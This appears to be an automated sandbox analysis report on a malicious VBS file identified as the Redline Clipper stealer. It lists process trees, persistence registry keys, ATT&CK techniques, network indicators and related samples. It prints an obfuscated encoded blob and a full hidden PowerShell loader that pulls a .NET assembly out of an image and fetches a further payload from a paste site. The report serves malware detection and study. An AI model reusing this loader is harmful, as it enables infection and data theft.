gtrezqb4dgtree8dgtrezgdgtreodgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtrekqdgtre7dgtrecqdgtrezqbudgtregqdgtresqbudgtregqdgtrezqb4dgtrecdgtredgtrepqdgtregdgtrecqdgtreaqbtdgtregedgtrezwbldgtrefqdgtrezqb4dgtrehqdgtrelgbjdgtreg4dgtrezdgtrebldgtrehgdgtretwbmdgtrecgdgtrejdgtrebldgtreg4dgtrezdgtrebgdgtregwdgtreyqbndgtreckdgtreowdgtrekdgtrehmdgtreddgtrebhdgtrehidgtreddgtrebjdgtreg4dgtrezdgtrebldgtrehgdgtreidgtredgtretdgtregcdgtrezqdgtregdgtreddgtredgtreidgtredgtretdgtregedgtrebgbkdgtrecdgtredgtrejdgtrebldgtreg4dgtrezdgtrebjdgtreg4dgtrezdgtrebldgtrehgdgtreidgtredgtretdgtregcdgtreddgtredgtregdgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtregdgtrecsdgtrepqdgtregdgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecqdgtreygbhdgtrehmdgtrezqdgtre2dgtredqdgtretdgtrebldgtreg4dgtrezwb0dgtreg
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += $startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('aspose.drawingspec.pkikattrcertnb');$method = $type.getmethod('run').invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'vbsname' , '1' , 'c:\programdata\', 'lnkname','addinprocess32','desativado','desativado','desativado'))
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'jdgtrebpdgtreg0dgtreyqbndgtregudgtrevqbydgtregwdgtreidgtredgtre9dgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredwbhdgtregwdgtrebdgtrebwdgtregedgtrecdgtrebldgtrehidgtreywbhdgtrehydgtrezqdgtreudgtregmdgtrebwbtdgtrec8dgtredqb3dgtrehdgtredgtrelwb1dgtrehcdgtrecdgtredgtre0dgtredidgtremdgtredgtrezdgtredkdgtreoqdgtre0dgtrec4dgtrecdgtrebudgtregcdgtrejwdgtre7dgtrecqdgtredwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreidgtredgtre9dgtrecdgtredgtretgbldgtrehcdgtrelqbpdgtregidgtreagbldgtregmdgtreddgtredgtregdgtrefmdgtreeqbzdgtrehqdgtrezqbtdgtrec4dgtretgbldgtrehqdgtrelgbxdgtregudgtreygbddgtregwdgtreaqbldgtreg4dgtreddgtredgtre7dgtrecqdgtreaqbtdgtregedgtrezwbldgtreeidgtreeqb0dgtregudgtrecwdgtregdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbvdgtrehidgtrebdgtredgtrepdgtredsdgtrejdgtrebpdgtreg0dgtreyqbndgtregudgtrevdgtrebldgtrehgdgtreddgtredgtregdgtred0dgtreidgtrebbdgtrefmdgtreeqbzdgtrehqdgtrezqbtdgtrec4dgtrevdgtrebldgtrehgdgtreddgtredgtreudgtreeudgtrebgbjdgtreg8dgtrezdgtrebpdgtreg4dgtrezwbddgtredodgtreogbvdgtrefqdgtrergdgtre4dgtrec4dgtrerwbldgtrehqdgtreuwb0dgtrehidgtreaqbudgtregcdgtrekdgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbcdgtrehkdgtreddgtrebldgtrehmdgtrekqdgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtreidgtredgtre9dgtrecdgtredgtrejwdgtre8dgtredwdgtreqgbbdgtrefmdgtrerqdgtre2dgtredqdgtrexwbtdgtrefqdgtreqqbsdgtrefqdgtrepgdgtre+dgtreccdgtreowdgtrekdgtregudgtrebgbkdgtreeydgtrebdgtrebhdgtregcdgtreidgtredgtre9dgtrecdgtredgtrejwdgtre8dgtredwdgtreqgbbdgtrefmdgtrerqdgtre2dgtredqdgtrexwbfdgtree4dgtrerdgtredgtre+dgtred4dgtrejwdgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtregdgtred0dgtreidgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbudgtregudgtreedgtreb0dgtrec4dgtresqbudgtregqdgtrezqb4dgtree8dgtrezgdgtreodgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtrekqdgtre7dgtrecqdgtrezqbudgtregqdgtresqbudgtregqdgtrezqb4dgtrecdgtredgtrepqdgtregdgtrecqdgtreaqbtdgtregedgtrezwbldgtrefqdgtrezqb4dgtrehqdgtrelgbjdgtreg4dgtrezdgtrebldgtrehgdgtretwbmdgtrecgdgtrejdgtrebldgtreg4dgtrezdgtrebgdgtregwdgtreyqbndgtreckdgtreowdgtrekdgtrehmdgtreddgtrebhdgtrehidgtreddgtrebjdgtreg4dgtrezdgtrebldgtrehgdgtreidgtredgtretdgtregcdgtrezqdgtregdgtreddgtredgtreidgtredgtretdgtregedgtrebgbkdgtrecdgtredgtrejdgtrebldgtreg4dgtrezdgtrebjdgtreg4dgtrezdgtrebldgtrehgdgtreidgtredgtretdgtregcdgtreddgtredgtregdgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtregdgtrecsdgtrepqdgtregdgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtrelgbmdgtregudgtrebgbndgtrehqdgtreadgtredgtre7dgtrecqdgtreygbhdgtrehmdgtrezqdgtre2dgtredqdgtretdgtrebldgtreg4dgtrezwb0dgtreg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += $startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('aspose.drawingspec.pkikattrcertnb');$method = $type.getmethod('run').invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'vbsname' , '1' , 'c:\programdata\', 'lnkname','addinprocess32','desativado','desativado','desativado'))	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Redline Clipper

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b915946908.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2724487700.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1513578120.000001B91593F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1272, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	11 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	211 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	231 Scripting	Boot or Logon Initialization Scripts	11 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	11 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	3 PowerShell	Login Hook	Login Hook	231 Scripting	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	13 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
confirmationcr.vbs	8%	ReversingLabs	Win32.Trojan.Generic
confirmationcr.vbs	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
paste.fo	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://paste.fo	0%	Avira URL Cloud	safe
https://www.google.com;	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com;	0%	Avira URL Cloud	safe
https://analytics.paste.ee;	0%	Avira URL Cloud	safe
http://paste.fo	0%	Avira URL Cloud	safe
http://paste.fo	1%	Virustotal		Browse
https://paste.fo/raw/a74d3ed54ba1?download	0%	Avira URL Cloud	safe
https://paste.fo/raw/a74d3ed54ba1?download	1%	Virustotal		Browse
https://paste.fo	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wallpapercave.com	104.22.53.71	true	false		high
paste.ee	172.67.187.200	true	false		high
paste.fo	104.21.70.240	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://wallpapercave.com/uwp/uwp4203994.png	false		high
https://paste.ee/d/2lAW3	false		high
https://paste.fo/raw/a74d3ed54ba1?download	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1605454654.000001B924D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE818BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE9007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.microsoft	powershell.exe, 00000005.00000002.1548673594.000001DEF1774000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000002.00000002.1849817106.000002601EAFE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1508440162.000001DE81837000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wallpapercave.com	powershell.exe, 00000004.00000002.1513578120.000001B914F03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.ee/d/2lAW3QQxxi	wscript.exe, 00000000.00000003.1446471110.00000221FAC1A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.ee/d/2lAW3tem	wscript.exe, 00000000.00000003.1446283185.00000221FA9BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447645417.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446228686.00000221FA9B3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446373423.00000221FA9BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.ee:443/d/2lAW3	wscript.exe, 00000000.00000003.1446340804.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447686341.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446211624.00000221FA9C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.fo	powershell.exe, 00000004.00000002.1513578120.000001B9150DC000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1605454654.000001B924D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE818BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE9007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1540342165.000001DE901B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://paste.ee/	wscript.exe, 00000000.00000002.1447704527.00000221FA9E4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446041255.00000221FA9E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://analytics.paste.ee;	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://paste.fo	powershell.exe, 00000004.00000002.1513578120.000001B9150DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B915918000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1849817106.000002601EB4C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B914CE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE80001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com;	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1849817106.000002601EB7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1513578120.000001B914CE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1508440162.000001DE80001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.gravatar.com	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://themes.googleusercontent.com	wscript.exe, 00000000.00000002.1447983781.00000221FD15D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000005.00000002.1508440162.000001DE81489000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.187.200	paste.ee	United States	13335	CLOUDFLARENETUS	false
104.22.53.71	wallpapercave.com	United States	13335	CLOUDFLARENETUS	false
104.21.70.240	paste.fo	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1369663
Start date and time:	2024-01-04 08:36:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	confirmationcr.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@15/8@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 34 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2984 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4144 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:37:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\VbsName.vbs
07:37:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\VbsName.vbs
08:37:13	API Interceptor	2x Sleep call for process: wscript.exe modified
08:37:14	API Interceptor	48x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.187.200	IMG-662466100.vbs	Get hash	malicious	XWorm	Browse
	OZE.vbs	Get hash	malicious	Unknown	Browse
	ORDER2112.xlam.xlsx	Get hash	malicious	AgentTesla	Browse
	3387202206469479_mBAM_20122023.xlam.xlsx	Get hash	malicious	AgentTesla	Browse
	Pagos_WA0037906.js	Get hash	malicious	AgentTesla	Browse
	Items_order.vbs	Get hash	malicious	XWorm	Browse
	k#U00e9p_Felsorolt_t#U00e9telek.vbs	Get hash	malicious	XWorm	Browse
	Order_012024.vbs	Get hash	malicious	Redline Clipper	Browse
	Updationavailableformisofficetocleanofficfilesandupdationsforclearpcfromthehk.Doc.doc	Get hash	malicious	Remcos	Browse
	microsoftprofile.vbs	Get hash	malicious	Remcos	Browse
	STATEMEN.VBS.vbs	Get hash	malicious	XWorm	Browse
	IMG44825426.vbs	Get hash	malicious	XWorm	Browse
	passport.vbs	Get hash	malicious	Agniane Stealer	Browse
	statement.vbs	Get hash	malicious	XWorm	Browse
	DHL))9documentos.xla.xlsx	Get hash	malicious	AgentTesla	Browse
	Bonifico_n.1101233140486991.pdf.vbs	Get hash	malicious	XWorm	Browse
	comprobante.PDF__________________.vbs	Get hash	malicious	Unknown	Browse
	Immagine.js	Get hash	malicious	XWorm	Browse
	68pT93HY5R.exe	Get hash	malicious	Unknown	Browse
	Order_NO.Z21239.js	Get hash	malicious	Remcos	Browse
104.22.53.71	IMG-662466100.vbs	Get hash	malicious	XWorm	Browse
	Betalning_WA997878998.vbs	Get hash	malicious	AgentTesla	Browse
	34Vbs_File.vbs	Get hash	malicious	AgentTesla	Browse
	REQ_FOR_QUOTATION.js	Get hash	malicious	zgRAT	Browse
	PO-35720.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	Orden_No_AM64782.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	Revised_enquiry_for_Urgent_buy_Denmark.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	SWIFT26794306.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
	PurchaseOrder.pdf.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse
	MSS.vbs	Get hash	malicious	AgentTesla, zgRAT	Browse
	Quote.xlam.xlsx	Get hash	malicious	AgentTesla, zgRAT	Browse
